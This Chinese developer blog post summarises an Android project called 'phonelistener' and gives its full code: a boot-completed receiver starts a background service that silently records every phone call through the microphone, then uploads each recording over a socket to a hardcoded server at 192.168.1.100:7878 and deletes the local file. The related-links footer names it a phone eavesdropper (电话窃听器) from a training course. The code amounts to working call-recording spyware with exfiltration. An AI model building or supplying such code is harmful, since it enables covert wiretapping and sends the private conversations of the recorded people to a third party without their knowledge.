`
zhengjj_2009
  • 浏览: 150006 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

项目的总结1、phonelistener

 
阅读更多

基本步骤:

1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务

      >>>> 在manifest中完成配置

 

2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务

     >>>>在BootBroadcastReceiver的onReceive()中完成

 

3、在PhoneService的onCreate()设置PhoneStateListener的功能

      >>>>在PhoneService的onCreate()完成

 

4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能

     >>>> 在onCallStateChanged()完成

 

5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成

 

==================================================================

具体实现的代码

1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务

>>>> 在manifest中完成配置

<application..... >
         <service android:name=".PhoneService"/>
          <receiver android:name=".BootBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务

>>>>在BootBroadcastReceiver的onReceive()中完成

public void onReceive(Context context, Intent intent) {
  Intent service = new Intent(context, PhoneService.class);//显式意图
  context.startService(service);//Intent激活组件(Service)
 }

3、在PhoneService的onCreate()设置PhoneStateListener的功能

>>>>在PhoneService的onCreate()完成

public void onCreate() {
  super.onCreate();//父类的方法不能去掉,必须保留
  TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
  telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
 }

4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能

>>>> 在onCallStateChanged()完成

private final class PhoneListener extends PhoneStateListener{
		private String incomingNumber;
		private File file;
		private MediaRecorder mediaRecorder;
		
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_RINGING://来电
					this.incomingNumber = incomingNumber;
					break;

				case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
					file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");

					mediaRecorder = new MediaRecorder();
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					mediaRecorder.prepare();
					mediaRecorder.start();//开始录音
					break;
					
				case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
					if(mediaRecorder != null){
						mediaRecorder.stop();
						mediaRecorder.release();
						mediaRecorder = null;
						uploadFile();
					}
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}

 

5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成

private void uploadFile() {
   new Thread(new Runnable() {    
    public void run() {
     try {
      if(file!=null && file.exists()){
       Socket socket = new Socket("192.168.1.100", 7878);
                OutputStream outStream = socket.getOutputStream();
                String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
                outStream.write(head.getBytes());
               
                PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); 
       String response = StreamTool.readLine(inStream);
                String[] items = response.split(";");
       String position = items[1].substring(items[1].indexOf("=")+1);
       
       RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
       fileOutStream.seek(Integer.valueOf(position));
       byte[] buffer = new byte[1024];
       int len = -1;
       while( (len = fileOutStream.read(buffer)) != -1){
        outStream.write(buffer, 0, len);
       }
       fileOutStream.close();
       outStream.close();
                inStream.close();
                socket.close();
                file.delete();
                file = null;
               }
           } catch (Exception e) {                   
               e.printStackTrace();
           }
    }
   }).start();
  }  

分享到:
评论

相关推荐

    PhoneListener-master.zip

    完全自定义界面的来电秀demo,1.针对联系人独立设置来电壁纸,真正个性来电; 2.来电壁纸,自由添加,个性无限; 3.来电归属地显示,来电信息了如指掌; 3.丰富设置,细到来电信息字体大小,满足不同人群;

    PhoneListener

    电话监听器 执照 麻省理工学院执照 ... 特此免费授予获得此软件和相关文档文件(“软件”)副本的任何人无限制地处理软件的权利,包括但不限于使用,复制,修改,合并的权利,发布,分发,再许可和/或出售本软件的副本...

    传智播客的android开发源代码

    39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...

    source.zip

    39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...

    8天快速掌握Android教程源码

    39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...

    phonelistener:[未维护] 此模块允许您的应用程序将侦听器注册到设备电话。 使用此监听器,您将能够知道电话何时接听电话、拨打电话等

    用法需要 tiapp.xml 上的模块: &lt; modules&gt; &lt; module xss=removed&gt;com.baboonmedia.phonelistener&lt;/ module&gt; &lt;/ modules&gt; 您还需要请求一些权限才能收听电话更改: &lt; manifest&gt; &lt; uses xss=removed&gt; &lt; uses-...

    Android如何帮助用户自动接听或者挂断来电

    这篇文章教你如何帮助用户自动接听或者挂断来电。当然并不是我原创的代码,我只不过是把stackoverflow上的一些代码整合了一下,做个代码的二传手。...&lt;receiver android:name=.incomingcall.PhoneListener&gt; &lt;ac

Global site tag (gtag.js) - Google Analytics